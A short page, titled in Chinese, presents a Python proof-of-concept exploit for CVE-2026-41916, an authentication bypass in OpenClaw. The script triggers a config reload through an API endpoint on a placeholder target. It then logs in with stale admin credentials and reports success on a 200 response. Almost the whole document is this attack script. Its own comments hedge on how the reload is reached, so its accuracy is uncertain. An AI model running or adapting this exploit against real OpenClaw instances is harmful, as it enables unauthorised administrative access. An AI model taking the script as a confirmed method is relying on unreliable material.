CVE-2026-41916 OpenClaw认证绕过漏洞

import requests # PoC for CVE-2026-41916: OpenClaw Authentication Bypass via Config Reload # This script demonstrates how new connections use stale auth state after config reload. target_url = "http://target-openclaw-instance:8080" # Assume we have old credentials that should no longer work old_creds = {"user": "admin", "pass": "old_password"} # Step 1: Trigger a configuration reload # This might be done via a specific API endpoint accessible by low-priv users print("[*] Triggering configuration reload...") try: # Simulating the API call to reload config requests.post(f"{target_url}/api/reload") except Exception as e: print(f"[-] Failed to trigger reload: {e}") # Step 2: Attempt to connect using old (stale) credentials # Due to the vulnerability, the system checks against the pre-reload config print("[*] Attempting connection with stale credentials...") response = requests.get(f"{target_url}/api/gateway/status", auth=(old_creds["user"], old_creds["pass"])) if response.status_code == 200: print("[+] Exploit successful! Authentication bypassed using stale state.") else: print("[-] Exploit failed.")